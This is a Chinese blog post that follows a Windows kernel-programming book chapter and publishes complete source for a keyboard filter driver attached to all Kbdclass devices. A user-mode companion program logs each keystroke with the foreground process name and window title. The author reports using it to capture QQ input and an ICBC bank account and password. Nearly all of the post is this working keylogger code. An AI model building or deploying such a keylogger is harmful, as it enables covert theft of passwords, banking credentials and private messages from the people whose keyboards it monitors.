这是寒江独钓里面的第4章的第一个例子, 绑定键盘设备, 采用的是绑定KbdClass驱动对象下的所有设备对象的做法, 算是比较高层了. 不过在这层进行截获可以获得很好的通用性. 我试验了一下腾讯的QQ, 能够截获到. 而且工商银行的账号和密码也可以截获到. 我倒. 这么大的银行难道都没有一点保护措施?? 难以置信!

其实这个绑定设备的和上一篇那个差不多, 主要就是过滤了.. 要过滤当然需要绑定KbdClass下面的所有设备对象, 这个可以自己手工遍历, 也可以通过IoEnumerateDeviceObjectList.不过这号函数我没有用. 遍历一个驱动对象下的设备对象也不是很难. 所以说基本上也就没有什么困难了.

寒江独钓在删除设备的时候用了延时什么的, 还搞了个全局定时器. 恩. 太麻烦了. 调用IoCancelIrp就可以了.. 好像说来说去都没有好说的, 就是这么个套路. 本来我还想直接搞一个可以翻译成正常的ASCII码的, 但是有点麻烦算了. 回头再说吧. 现在截取效果也是不错了.. 将就着..

这边是截图和代码.

KeyBoardCap.rar

  

用户态的代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
/*
        Windows 内核下键盘过滤设备的简单演示 应用层代码
        编译方法参见makefile. TAB = 8
*/
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <Tlhelp32.h>
#include <locale.h>
#include "GetKey.h"
#include <assert.h>

#pragma comment( linker, "/Entry:Jmain" )
#pragma comment( linker, "/SubSystem:Console" )

#define DEVICE_NAME	"\\\\.\\SysLinkKeyBoardCap"
//===========================================================================
//获取进程句柄对应的进程名称
//===========================================================================
BOOL _GetProcessName( DWORD dwProcessId, PTCHAR tcBuf ) {
	HANDLE _hSnapsHot;
	PROCESSENTRY32 _StProcess;

	RtlZeroMemory( &_StProcess, sizeof( PROCESSENTRY32 ) );

	_hSnapsHot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

	if ( _hSnapsHot == ( HANDLE ) - 1 ) {
		return FALSE;
	}

	_StProcess.dwSize = sizeof( PROCESSENTRY32 );

	if ( !Process32First( _hSnapsHot, &_StProcess ) ) {
		return FALSE;
	}

	do {
		//查看是否是要查找的进程ID
		if( _StProcess.th32ProcessID == dwProcessId ) {
			lstrcpy( tcBuf, ( LPCWSTR ) & ( _StProcess.szExeFile ) );
			return TRUE;
		}

		//这句是C语言有Bug的语句. 哈哈居然也可以编译通过
		//while ( Process32Next, _hSnapsHot, &_StProcess );
	} while ( Process32Next( _hSnapsHot, &_StProcess ) );

	return FALSE;
}
//===========================================================================
	//打印按键信息
//sch	:扫描码
//===========================================================================
static int kb_status = S_NUM;
void __stdcall print_keystroke( UCHAR sch ) {
	UCHAR	ch = 0;
	int		off = 0;

	if ( ( sch & 0x80 ) == 0 ) {	//make
		if ( ( sch < 0x47 ) ||
		        ( ( sch >= 0x47 && sch < 0x54 ) && ( kb_status & S_NUM ) ) ) { // Num Lock
			ch = asciiTbl[off + sch];
		}

		switch ( sch ) {
		case 0x3A:
			kb_status ^= S_CAPS;
			break;

		case 0x2A:
		case 0x36:
			kb_status |= S_SHIFT;
			break;

		case 0x45:
			kb_status ^= S_NUM;
		}
	} else {	//break
		if ( sch == 0xAA || sch == 0xB6 )
			kb_status &= ~S_SHIFT;
	}

	if ( ch >= 0x20 && ch < 0x7F ) {
		printf( "状态码:%p %p %cn", kb_status,  ch, ch );

	}else {
		printf( "控制字符n" );
	}

}
//===========================================================================
//解析键盘按键消息
//pKeyBuf	:按键消息缓冲区
//dwBufLen	:缓冲区长度
//返回值, 如果是可打印的ASCII码, 返回True, 否则返回FALSE
//===========================================================================
BOOL Resolve( PKEYBOARD_INPUT_DATA pKeyBuf, DWORD dwBufLen, PTCHAR pOutChar ) {
	ULONG i;
//	UCHAR cMakeCode;
	UCHAR ch = 0;
	ULONG off = 0;
	static DWORD kb_status = S_NUM;
	DWORD dwKeyBoardNum;

	assert( pKeyBuf != NULL );

	//按键的数量
	dwKeyBoardNum = dwBufLen / sizeof( KEYBOARD_INPUT_DATA );

	for( i = 0; i < dwKeyBoardNum; i++ ) {

		wprintf( _T( "按键数量:%d " ), dwKeyBoardNum );
		wprintf( _T( "扫描码:%p " ), pKeyBuf->MakeCode );
		wprintf( _T( "%-6ws" ), pKeyBuf->Flags ? _T( "Up" ) : _T( "Down" ) );

		print_keystroke( ( UCHAR )pKeyBuf->MakeCode );
		pKeyBuf++;
	}

	return FALSE;
}
//===========================================================================
ULONG  Jmain( ) {
	HWND hWnd;
	BOOL bRet;
	DWORD dwProcessId;
	DWORD dwThreadId;
	DWORD dwOldProcessId;
	HANDLE hDevice;
	_TCHAR cChar;
	DWORD dwByteRead;
	_TCHAR SzBuf[512];
	_TCHAR SzBuf2[512];

	setlocale( LC_ALL, "chs" );			//设置字符集

//---------------------------------------------------------------------------
	hDevice = CreateFile( _T( DEVICE_NAME ), GENERIC_READ | GENERIC_WRITE,
	                      0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );

	if ( hDevice == INVALID_HANDLE_VALUE ) {
		wprintf( _T( "打开设备失败!\n" ) );
		return -1;
	}

//---------------------------------------------------------------------------
	//监听所有按下键盘的操作
//---------------------------------------------------------------------------
	RtlZeroMemory( SzBuf2, sizeof( SzBuf2 ) );

	for( dwOldProcessId = 0;; ) {

		//获取用户的最前台窗口
		hWnd =  GetForegroundWindow();

		if ( !hWnd ) {
			continue;
		}

//---------------------------------------------------------------------------
		//获取当前有焦点的窗口的进程和线程句柄
		dwThreadId = GetWindowThreadProcessId( hWnd,  &dwProcessId );

		if ( !dwThreadId ) {
			wprintf( _T( "获取线程Id失败!\n" ) );
			continue;
		}

		//获取进程名字
		if ( !_GetProcessName( dwProcessId, &SzBuf[0] ) ) {
			wprintf( _T( "获取进程名字失败!\n" ) );
		} else {
			if ( dwOldProcessId != dwProcessId ) {
				wprintf( _T( "\n--------------------------------------------------------------------\n" ) );
				wprintf( _T( "进程名称:%ws\n" ), &SzBuf\[0\] );
				dwOldProcessId = dwProcessId;
			}
		}

//---------------------------------------------------------------------------
		//获取当前输入的窗口名称
		RtlZeroMemory( &SzBuf[0], sizeof( SzBuf ) );

		//获取窗口名称
		if ( !GetWindowText( hWnd, &SzBuf[0], sizeof( SzBuf ) / 2 ) ) {
			continue;
		} else {

			if ( lstrcmp( SzBuf2, SzBuf ) != 0 ) {
				wprintf( _T( "窗口名称:%s\n" ), &SzBuf[0] );
				lstrcpy( SzBuf2, SzBuf );
			}
		}

//---------------------------------------------------------------------------
		//当然最重要的就是获取上面的按键了
		RtlZeroMemory( SzBuf, sizeof( SzBuf ) );

		//向设备发送Irp_mj_Read
		bRet = ReadFile( hDevice, SzBuf, sizeof( SzBuf ), &dwByteRead, NULL );

		if ( !bRet ) {
			wprintf( _T( "串口读取完成!n" ) );
			break;
		} else {

			//如果是能够解析到的按键, 那么打印
			Resolve( ( PKEYBOARD_INPUT_DATA )SzBuf, dwByteRead, &cChar );
		}
	}

//---------------------------------------------------------------------------
	if ( hDevice != INVALID_HANDLE_VALUE ) {
		CloseHandle( hDevice );
	}

	system( "pause" );
	return 0;
}

这边是内核态的代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
/*
        Windows 内核下键盘过滤设备的简单演示 驱动层代码
        编译方法参见makefile. TAB = 8
*/
#include <ntddk.h>
#include "KeyBoard.h"

#define DEVICE_NAME	L"\\\\Device\\\\DevKeyBoardCap"
#define SYS_LINK_NAME	L"\\\\??\\\\SysLinkKeyBoardCap"
#define KBD_DRIVER_NAME	L"\\\\Driver\\\\Kbdclass"		// Kbdclass驱动的名字

//---------------------------------------------------------------------------
typedef struct tagDeviceExt {
	ULONG bFlags;			//TRUE表示过滤设备, FALSE就是我们自己的设备了
	PIRP pCurrentIrp;
	PIRP pRoxyIrp;			//代理Irp
	PDEVICE_OBJECT pDeviceObj;
	PDEVICE_OBJECT pLowDeviceObj;
	UNICODE_STRING USzDeviceName;
	UNICODE_STRING USzSysLinkName;
} DEVICE_EXT, *PDEVICE_EXT;

//===========================================================================
//驱动卸载例程
//===========================================================================
VOID DriverUnLoad( PDRIVER_OBJECT pDriverObj ) {
	PDEVICE_EXT pDeviceExt = NULL;
	PDEVICE_OBJECT pNextDeviceObj = NULL;

	pNextDeviceObj = pDriverObj->DeviceObject;

	while ( pNextDeviceObj ) {
		pDeviceExt = pNextDeviceObj->DeviceExtension;

		ASSERT( pDeviceExt );

		//如果有未决的Irp
		if ( pDeviceExt->pCurrentIrp ) {
			IoCancelIrp( pDeviceExt->pCurrentIrp );
		}

		//如果还有自己的代理irp
		if ( pDeviceExt->pRoxyIrp ) {
			IoCancelIrp( pDeviceExt->pRoxyIrp );
		}

		//取消绑定
		if ( pDeviceExt->pLowDeviceObj ) {
			IoDetachDevice( pDeviceExt->pLowDeviceObj );

		}

		//删除符号链接
		if ( pDeviceExt->USzSysLinkName.Buffer ) {
			IoDeleteSymbolicLink( &pDeviceExt->USzSysLinkName );
		}

		//删除设备
		IoDeleteDevice( pDeviceExt->pDeviceObj );

		if ( pDeviceExt->USzDeviceName.Buffer ) {
			KdPrint ( ( "删除%wZ设备成功!\n", &pDeviceExt->USzDeviceName ) );
		} else {
			KdPrint ( ( "删除无名设备成功1\n" ) );
		}

		pNextDeviceObj = pNextDeviceObj->NextDevice;
	}
}
//===========================================================================
//创建设备用于和R3通信
//pDriverObj            驱动对象指针
//pDeviceObjName        设备对象名称
//pSysLinkName          设备对象的符号链接名称(可以为NULL)
//bFlags                是否是绑定设备的标记
//pDeviceObj            二级指针, 用于返回设备对象
//===========================================================================
NTSTATUS _CreateDevice( PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pDeviceObjName,
                        PUNICODE_STRING pSysLinkName, ULONG bFlags,
                        PDEVICE_OBJECT* pDeviceObj ) {

	NTSTATUS Status;
	PDEVICE_EXT pDeviceExt = NULL;

	PAGED_CODE();
//---------------------------------------------------------------------------
	Status = IoCreateDevice( pDriverObj, sizeof( DEVICE_EXT ), pDeviceObjName,
	                         FILE_DEVICE_UNKNOWN, 0, TRUE, pDeviceObj );

	if ( !NT_SUCCESS( Status ) ) {
		KdPrint ( ( "创建%wZ设备失败!\n", pDeviceObjName ) );
		return Status;
	}

	if ( pSysLinkName ) {
		Status = IoCreateSymbolicLink( pSysLinkName, pDeviceObjName );

		if ( !NT_SUCCESS( Status ) ) {

			KdPrint ( ( "创建%wZ符号链接失败!\n", pSysLinkName ) );
			IoDeleteDevice( *pDeviceObj  );
			return Status;
		}
	}

//---------------------------------------------------------------------------
	pDeviceExt = ( *pDeviceObj )->DeviceExtension;
	ASSERT( pDeviceExt );

	//设置设备属性, 因为这个设备不是过滤设备, 所以bFlags为False
	RtlZeroMemory( pDeviceExt, sizeof( DEVICE_EXT ) );
	pDeviceExt->pDeviceObj = *pDeviceObj;
	pDeviceExt->bFlags = bFlags;

	if ( pDeviceObjName  ) {
		pDeviceExt->USzDeviceName = *pDeviceObjName;
	}

	if ( pSysLinkName ) {
		pDeviceExt->USzSysLinkName = *pSysLinkName;
	}

	return Status;
}

//===========================================================================
//绑定Kbdclass下的所有设备对象
//pDriverObj	:驱动对象
//返回值	:状态
//===========================================================================
NTSTATUS _AttachAllKeyBoards(  PDRIVER_OBJECT pDriverObj ) {
	NTSTATUS Status;
	PDRIVER_OBJECT pKbdDriverObj = NULL;
	PDEVICE_OBJECT pTagetDeviceObj = NULL;
	PDEVICE_OBJECT pFilterDeviceObj = NULL;
	PDEVICE_OBJECT pLowerDeviceObj = NULL;
	PDEVICE_EXT pDeviceExt = NULL;
	POBJECT_HEADER ObjHeader = NULL;
	POBJECT_HEADER_NAME_INFO ObjName = NULL;
	UNICODE_STRING USzKbdClass = RTL_CONSTANT_STRING( KBD_DRIVER_NAME );

	PAGED_CODE();
//---------------------------------------------------------------------------
	Status = ObReferenceObjectByName( &USzKbdClass, OBJ_CASE_INSENSITIVE,
	                                  NULL, 0, IoDriverObjectType, KernelMode,
	                                  NULL, &pKbdDriverObj );

	if ( !NT_SUCCESS( Status ) ) {
		return Status;
	} else {
		// 这个打开需要解应用。早点解除了免得之后忘记。
		ObDereferenceObject( pKbdDriverObj );
	}

//---------------------------------------------------------------------------
	//遍历Kbdclass下所有的设备对象, 进行绑定
	pTagetDeviceObj = pKbdDriverObj->DeviceObject;

	while ( pTagetDeviceObj ) {

		//创建和R3通信的设备Flags = FALSE
		Status = _CreateDevice( pDriverObj, NULL, NULL, TRUE, &pFilterDeviceObj );

		if ( !NT_SUCCESS( Status ) ) {
			KdPrint ( ( "创建过滤设备失败!\n" ) );
			return Status;
		}

		Status = IoAttachDeviceToDeviceStackSafe( pFilterDeviceObj, pTagetDeviceObj,
		         &pLowerDeviceObj );

		if ( !NT_SUCCESS( Status ) ) {
			KdPrint ( ( "绑定设备失败!\n" ) );

			IoDeleteDevice( pFilterDeviceObj );
			pFilterDeviceObj = NULL;
			return Status;
		}

		//设置设备扩展属性
		pDeviceExt = pFilterDeviceObj->DeviceExtension;
		pDeviceExt->pLowDeviceObj = pLowerDeviceObj;
		pDeviceExt->pDeviceObj = pFilterDeviceObj;

		//设置过滤设备的属性(重要, 不要设置错了)
		pFilterDeviceObj->DeviceType = pLowerDeviceObj->DeviceType;
		pFilterDeviceObj->Characteristics = pLowerDeviceObj->Characteristics;
		pFilterDeviceObj->StackSize = pLowerDeviceObj->StackSize + 1;
		pFilterDeviceObj->Flags |= pLowerDeviceObj->Flags
		                           & ( DO_BUFFERED_IO | DO_DIRECT_IO | DO_POWER_PAGABLE );
//---------------------------------------------------------------------------
		//得到对象头
		ObjHeader = OBJECT_TO_OBJECT_HEADER( pLowerDeviceObj );
		ASSERT( ObjHeader != NULL );

		//查询设备名称
		ObjName = OBJECT_HEADER_TO_NAME_INFO( ObjHeader );

		KdPrint ( ( "绑定%wZ设备成功!\n", &ObjName->Name ) );
//---------------------------------------------------------------------------
		//遍历下一个设备
		pTagetDeviceObj = pTagetDeviceObj->NextDevice;
	}

	return Status;
}
//===========================================================================
//所有不关心的的Irp处理
//===========================================================================
NTSTATUS DispatchRoutine( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) {
	PDEVICE_EXT pDeviceExt = NULL;

	pDeviceExt = pDeviceObj->DeviceExtension;
	ASSERT( pDeviceExt );

//---------------------------------------------------------------------------
	//过滤设备不关心的Irp处理
	if ( pDeviceExt->bFlags ) {
		IoSkipCurrentIrpStackLocation( pIrp );

		KdPrint ( ( "不关心的Irp来了一次!n" ) );

		//这里返回值应该返回底层设备返回的值(注意了)
		return IoCallDriver( pDeviceExt->pLowDeviceObj, pIrp );
//---------------------------------------------------------------------------
		//我们和R3设备之间的通信
	} else {
		pIrp->IoStatus.Information = 0;
		pIrp->IoStatus.Status = STATUS_SUCCESS;

		IoCompleteRequest( pIrp, IO_NO_INCREMENT );

		KdPrint ( ( "R3不关心的Irp来了一次!\n" ) );
		return STATUS_SUCCESS;
	}
}

//===========================================================================
//在键盘设备的读取请求中, 完成我们自己创建的R3设备
//pDriverObj	:驱动对象
//pBuf		:欲Copy到3环的缓冲区
//ulBufLen	:缓冲区长度
//===========================================================================
NTSTATUS _CompletionR3Read( PDRIVER_OBJECT pDriverObj, PUCHAR pBuf, ULONG ulBufLen ) {
	ULONG ulUserBufLen;
	PUCHAR pUserBuf = NULL;
	PDEVICE_EXT pDeviceExt = NULL;
	PDEVICE_OBJECT pNextDevice = NULL;
	PIO_STACK_LOCATION pUserStack = NULL;

	//遍历所有设备找到我们自己和R3通信的设备
	pNextDevice = pDriverObj->DeviceObject;
	ASSERT( pNextDevice != NULL );

	for( ; pNextDevice != NULL; pNextDevice = pNextDevice->NextDevice ) {

		pDeviceExt = pNextDevice->DeviceExtension;
		ASSERT( pDeviceExt );

		if ( !pDeviceExt->pCurrentIrp || pDeviceExt->bFlags ) {
			continue;
		}

		//获取R3那边读取请求的Irp
		pUserStack = IoGetCurrentIrpStackLocation( pDeviceExt->pCurrentIrp );
		ASSERT( pUserStack != NULL );

		//缓冲区长度
		ulUserBufLen = pUserStack->Parameters.Read.Length;

		//映射R3那边的地址到高2G这边来
		pUserBuf = MmGetSystemAddressForMdlSafe( pDeviceExt->pCurrentIrp->MdlAddress,
		           NormalPagePriority );

		//如果缓冲区传递错误了
		if ( !pUserBuf ) {
			pDeviceExt->pCurrentIrp->IoStatus.Status = STATUS_INVALID_PARAMETER;
			pDeviceExt->pCurrentIrp->IoStatus.Information = 0;

		} else {
			//如果用户态那边的缓冲区太少, 返回错误
			if ( ulUserBufLen < ulBufLen ) {
				pDeviceExt->pCurrentIrp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
				pDeviceExt->pCurrentIrp->IoStatus.Information = 0;
			} else {
				//条件都够了那么就Copy内存过去
				RtlCopyMemory( pUserBuf, pBuf, ulBufLen );
				pDeviceExt->pCurrentIrp->IoStatus.Status = STATUS_SUCCESS;
				pDeviceExt->pCurrentIrp->IoStatus.Information = ulBufLen;
			}
		}

		IoCompleteRequest( pDeviceExt->pCurrentIrp, IO_NO_INCREMENT );
		pDeviceExt->pCurrentIrp = NULL;
		pDeviceExt = NULL;
		return STATUS_SUCCESS;
	}

	return STATUS_UNSUCCESSFUL;
}
//===========================================================================
//读取请求的完成例程, 这边如果有我们自己创建设备的挂起的Irp那么就会在这里完成
//===========================================================================
NTSTATUS CompletionRead( PDEVICE_OBJECT pDeviceObj, PIRP pIrp, PVOID pContext ) {
	ULONG ulBufLen, i;
	NTSTATUS Status;
	PUCHAR pBuf = NULL;
	PIO_STACK_LOCATION pStack = NULL;

	PAGED_CODE();
//---------------------------------------------------------------------------
	pStack = IoGetCurrentIrpStackLocation( pIrp );

	//判断请求是否成功, 不成功处理是没有意义的
	if ( NT_SUCCESS( pIrp->IoStatus.Status ) ) {

		//获取读取请求的缓冲区, 和长度
		pBuf = pIrp->AssociatedIrp.SystemBuffer;
		ulBufLen = pIrp->IoStatus.Information;

		for( i = 0; i < ulBufLen; i++ ) {
			KdPrint ( ( "%3X", pBuf[i] ) );
		}

		KdPrint ( ( "\n" ) );

		//这里保存起自己的Irp, 用于在卸载时发送取消消息
		( ( PDEVICE_EXT )pDeviceObj->DeviceExtension )->pRoxyIrp = pIrp;
//---------------------------------------------------------------------------
//如果与我们通信的3环Irp被挂起了, 那么这里就可以返回了
//---------------------------------------------------------------------------
		Status = _CompletionR3Read( pDeviceObj->DriverObject,
		                            pBuf, ulBufLen  );

		if ( !NT_SUCCESS( Status ) ) {
			KdPrint ( ( "R3那边的读取请求完成失败!\n" ) );
		} else {
			KdPrint ( ( "R3那边的请求成功完成!\n" ) );
		}
	}

//---------------------------------------------------------------------------
	//进入此函数标志底层驱动设备将IRP完成
	KdPrint( ( "Completion:读取请求的完成例程\n" ) );

	if ( pIrp->PendingReturned ) {
		//传播pending位
		IoMarkIrpPending( pIrp );
	}

	return pIrp->IoStatus.Status;
}
//===========================================================================
//我们和R3通信设备的取消例程
//===========================================================================
VOID OnCancelIRP( PDEVICE_OBJECT pDeviceObj, PIRP pIrp  ) {
	PDEVICE_EXT pDeviceExt = NULL;

	PAGED_CODE_LOCKED();
//---------------------------------------------------------------------------
	//释放Cancel自旋锁
	IoReleaseCancelSpinLock( pIrp->CancelIrql );

	pDeviceExt = pDeviceObj->DeviceExtension;
	ASSERT( pDeviceExt );

	if ( pDeviceExt->pCurrentIrp == pIrp ) {
		pDeviceExt->pCurrentIrp = NULL;
	}

	//设置完成状态为STATUS_CANCELLED
	pIrp->IoStatus.Status = STATUS_CANCELLED;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest( pIrp, IO_NO_INCREMENT );

	KdPrint ( ( "和R3的通信设备取消例程被调用!\n" ) );

}
//===========================================================================
//读取请求过滤
//===========================================================================
NTSTATUS DispatchRead( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) {
	PDEVICE_EXT pDeviceExt = NULL;
	PIO_STACK_LOCATION pStack = NULL;

	pDeviceExt = pDeviceObj->DeviceExtension;
	ASSERT( pDeviceExt );

//---------------------------------------------------------------------------
	//如果是过滤设备
	if ( pDeviceExt->bFlags ) {

		//这句一直都没有搞明白,
		if ( pIrp->CurrentLocation == 1 ) {

			pIrp->IoStatus.Information = 0;
			pIrp->IoStatus.Status = STATUS_SUCCESS;
			IoCompleteRequest( pIrp, IO_NO_INCREMENT );
			return STATUS_SUCCESS;
		}

		pStack = IoGetCurrentIrpStackLocation( pIrp );
		IoCopyCurrentIrpStackLocationToNext( pIrp );

		//设置完成例程
		IoSetCompletionRoutine( pIrp, &CompletionRead, pDeviceObj, TRUE, TRUE, TRUE );

		KdPrint ( ( "键盘读取请求来了, 我们设置了一个回调例程!\n" ) );

		return IoCallDriver( pDeviceExt->pLowDeviceObj, pIrp );
//---------------------------------------------------------------------------
		//如果是我们自己创建的设备
	} else {

		//如果这里为TRUE, 那么肯定是上次没有来得及处理的Irp, 那么取消
		if ( pDeviceExt->pCurrentIrp ) {
			IoCancelIrp( pDeviceExt->pCurrentIrp );
			pDeviceExt->pCurrentIrp = NULL;
		}

		pDeviceExt->pCurrentIrp = pIrp;

		//将IRP设置为挂起
		IoMarkIrpPending( pIrp );

		//设置取消例程
		IoSetCancelRoutine( pIrp, OnCancelIRP );

		KdPrint ( ( "R3读取请求来了一次!\n" ) );

		//返回pending状态
		return STATUS_PENDING;
	}
}
//===========================================================================
//写入请求处理例程
//===========================================================================
NTSTATUS DispatchWrite( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) {
	PDEVICE_EXT pDeviceExt = NULL;

	pDeviceExt = pDeviceObj->DeviceExtension;

	//如果是过滤设备
	if ( pDeviceExt->bFlags ) {

		IoSkipCurrentIrpStackLocation( pIrp );
		//这里返回值应该返回底层设备返回的值(注意了)
		return IoCallDriver( pDeviceExt->pLowDeviceObj, pIrp );

//---------------------------------------------------------------------------
		//如果是我们自己创建的设备
	} else {
		pIrp->IoStatus.Information = 0;
		pIrp->IoStatus.Status = STATUS_SUCCESS;
		IoCompleteRequest( pIrp, IO_NO_INCREMENT );
		return STATUS_SUCCESS;
	}
}
//===========================================================================
//电源设备请求
//===========================================================================
NTSTATUS DispatchPower( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) {
	PDEVICE_EXT pDeviceExt = NULL;

	pDeviceExt = pDeviceObj->DeviceExtension;

	//如果是过滤设备
	if ( pDeviceExt->bFlags ) {

		PoStartNextPowerIrp( pIrp );
		IoSkipCurrentIrpStackLocation( pIrp );
		//返回底层设备返回的值
		return PoCallDriver( pDeviceExt->pLowDeviceObj, pIrp );
//---------------------------------------------------------------------------
		//如果是我们自己创建的设备
	} else {
		pIrp->IoStatus.Information = 0;
		pIrp->IoStatus.Status = STATUS_SUCCESS;
		IoCompleteRequest( pIrp, IO_NO_INCREMENT );
		return STATUS_SUCCESS;
	}
}
//===========================================================================
//驱动程序入口
//===========================================================================
#pragma code_seg( "INIT", "DriverEntry" )
NTSTATUS DriverEntry(  PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath ) {
	ULONG i;
	NTSTATUS Status;
	PDEVICE_OBJECT pDeviceObj = NULL;
	UNICODE_STRING USzDeviceName = RTL_CONSTANT_STRING( DEVICE_NAME );
	UNICODE_STRING USzSysLinkName = RTL_CONSTANT_STRING( SYS_LINK_NAME );

//---------------------------------------------------------------------------
	//创建和R3通信的设备Flags = FALSE
	Status = _CreateDevice( pDriverObj, &USzDeviceName, &USzSysLinkName,
	                        FALSE, &pDeviceObj );

	if ( !NT_SUCCESS( Status ) ) {
		KdPrint ( ( "创建和R3通信的设备失败!\n" ) );
		return Status;
	}

	ASSERT( pDeviceObj != NULL );

	//设置缓冲区操作方式(操作设备的时候老是用=不用|=
	pDeviceObj->Flags |= DO_DIRECT_IO;
	pDeviceObj->Flags &= ~DO_DEVICE_INITIALIZING;
//---------------------------------------------------------------------------
	//绑定所有的键盘设备
	Status = _AttachAllKeyBoards( pDriverObj );

	if ( !NT_SUCCESS( Status ) ) {
		KdPrint ( ( "绑定KbdClass设备失败!\n" ) );
		return Status;
	}

//---------------------------------------------------------------------------
	//设置分发函数
	for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++ ) {
		pDriverObj->MajorFunction[i] = &DispatchRoutine;
	}

	pDriverObj->MajorFunction[IRP_MJ_READ] = &DispatchRead;
	pDriverObj->MajorFunction[IRP_MJ_WRITE] = &DispatchWrite;
	pDriverObj->MajorFunction[IRP_MJ_POWER] = &DispatchPower;
	pDriverObj->DriverUnload = &DriverUnLoad;

	KdPrint ( ( "DriverEntry执行完毕!\n" ) );
//---------------------------------------------------------------------------
	return Status;
}